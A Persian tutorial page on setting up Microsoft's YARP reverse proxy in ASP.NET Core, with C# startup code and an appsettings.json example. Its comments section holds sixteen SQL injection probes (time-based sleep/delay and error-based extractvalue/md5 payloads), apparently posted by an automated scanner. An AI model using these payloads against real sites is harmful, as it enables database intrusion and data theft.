شروع کار با YARP

آخرین بروز رسانی: 1401/03/23

YARP یه کتابخونست که عملکرد هسته پروکسی رو ارائه می ده . که میشه با افزودن یا جایگزینی ماژول ها آن را سفارشی کنید. YARP در حال حاضر به عنوان بسته NuGet ارائه میشه ولی مایکروسافت قصد داره در آینده یک تمپلیت پروژه و exe از پیش ساخته شده ارائه کنه.
YARP بر برستر زیرساخت NET Core پیاده سازی شده و در ویندوز، لینوکس یا MacOS قابل استفاده است. 
YARP 1.1 از ASP.NET Core 3.1، 5.0 و 6.0 پشتیبانی می کند. می‌توانید NET SDK را از https://dotnet.microsoft.com/download/dotnet/ دانلود کنید.

•    پشتیبانی ویژوال استودیو برای دات نت 5 در Visual Studio 2019 نسخه 16.8 یا جدیدتر گنجانده شده است.
•    پشتیبانی ویژوال استودیو برای دات نت 6 در ویژوال استودیو 2022 گنجانده شده است.

یک پروژه جدید ایجاد کنید
پکیج Yarp.ReverseProxy رو نصب کنید

startup را به روز کنید
YARP به عنوان یک کامپوننت ASP.NET Core پیاده سازی شده است، و بنابراین اکثر کدهای نمونه در Startup.cs هستند.
YARP می تواند از فایل های کانفیگ یا هر provider سفارشی برای تعریف مسیرها و endpoint برای پراکسی استفاده کند. این مثال از فایل های کانفیگ استفاده می کنه و در روش ConfigureServices مقداردهی اولیه می شه.

متد Configure خط لوله ASP.NET را برای پردازش درخواست ها تعریف می کنه. پروکسی معکوس به مسیریابی نقطه پایانی ASP.NET متصل می شود و سپس خط لوله فرعی خود را برای پراکسی دارد. در اینجا ماژول های خط لوله پروکسی، مانند تعادل بار، می توانند برای سفارشی کردن رسیدگی به درخواست اضافه شوند.

public IConfiguration Configuration { get; }

public Startup(IConfiguration configuration)
{
    Configuration = configuration;
}

public void ConfigureServices(IServiceCollection services) 
{ 
    // Add the reverse proxy to capability to the server
    var proxyBuilder = services.AddReverseProxy();
    // Initialize the reverse proxy from the "ReverseProxy" section of configuration
    proxyBuilder.LoadFromConfig(Configuration.GetSection("ReverseProxy"));
} 

public void Configure(IApplicationBuilder app, IWebHostEnvironment env)
{
    if (env.IsDevelopment())
    {
        app.UseDeveloperExceptionPage();
    }
    
    // Enable endpoint routing, required for the reverse proxy
    app.UseRouting();
    // Register the reverse proxy routes
    app.UseEndpoints(endpoints => 
    {
        endpoints.MapReverseProxy(); 
    }); 
} 

 

معادل کد بالا در NET 6

var builder = WebApplication.CreateBuilder(args);
builder.Services.AddReverseProxy()
    .LoadFromConfig(builder.Configuration.GetSection("ReverseProxy"));
var app = builder.Build();
app.MapReverseProxy();
app.Run();

 

 

پیکربندی 

پیکربندی YARP در فایل appsettings.json تعریف شده است. جزئیات بیشتر 

پیکربندی را می توان به صورت programmatically نیز ارائه کرد. جزئیات بیشتر 

می توانید با نگاه کردن به RouteConfig و ClusterConfig درباره گزینه های پیکربندی موجود اطلاعات بیشتری کسب کنید.

{
 "Logging": {
   "LogLevel": {
     "Default": "Information",
     "Microsoft": "Warning",
     "Microsoft.Hosting.Lifetime": "Information"
   }
 },
 "AllowedHosts": "*",
 "ReverseProxy": {
   "Routes": {
     "route1" : {
       "ClusterId": "cluster1",
       "Match": {
         "Path": "{**catch-all}"
       },
     }
   },
   "Clusters": {
     "cluster1": {
       "Destinations": {
         "destination1": {
           "Address": "https://example.com/"
         }
       }
     }
   }
 }
}

 

 

نظرات کاربران

  • 1) Ffruazwzlpearsgso@gmail.com 1403/07/29
    '/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('v',0)='v
  • 2) Ffruazwzlpearsgso@gmail.com 1403/07/29
    'and(select+1)>0waitfor/**/delay'0:0:2
  • 3) Ffruazwzlpearsgso@gmail.com 1403/07/29
    '/**/and(select'1'from/**/pg_sleep(0))::text>'0
  • 4) Ffruazwzlpearsgso@gmail.com 1403/07/29
    "and(select*from(select+sleep(2))a/**/union/**/select+1)="
  • 5) Ffruazwzlpearsgso@gmail.com 1403/07/29
    'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1604876441')))>'0
  • 6) Ffruazwzlpearsgso@gmail.com 1403/07/29
    "and(select*from(select+sleep(0))a/**/union/**/select+1)="
  • 7) Ffruazwzlpearsgso@gmail.com 1403/07/29
    convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1589113515')))
  • 8) Ffruazwzlpearsgso@gmail.com 1403/07/29
    'and(select*from(select+sleep(2))a/**/union/**/select+1)='
  • 9) Ffruazwzlpearsgso@gmail.com 1403/07/29
    /**/and/**/cast(md5('1422888522')as/**/int)>0
  • 10) Ffruazwzlpearsgso@gmail.com 1403/07/29
    'and(select'1'from/**/cast(md5(1163831575)as/**/int))>'0
  • 11) Ffruazwzlpearsgso@gmail.com 1403/07/29
    'and(select*from(select+sleep(0))a/**/union/**/select+1)='
  • 12) Ffruazwzlpearsgso@gmail.com 1403/07/29
    extractvalue(1,concat(char(126),md5(1993082318)))
  • 13) Ffruazwzlpearsgso@gmail.com 1403/07/29
    "and/**/extractvalue(1,concat(char(126),md5(1950860456)))and"
  • 14) Ffruazwzlpearsgso@gmail.com 1403/07/29
    'and/**/extractvalue(1,concat(char(126),md5(1347080035)))and'
  • 15) Ffruazwzlpearsgso@gmail.com 1403/07/29
    "and"q"="p
  • 16) Ffruazwzlpearsgso@gmail.com 1403/07/29
    'and'r'='r

نظر دهید

آدرس ایمیل شما منتشر نخواهد شد. فیلدهای الزامی علامت گذاری شده اند *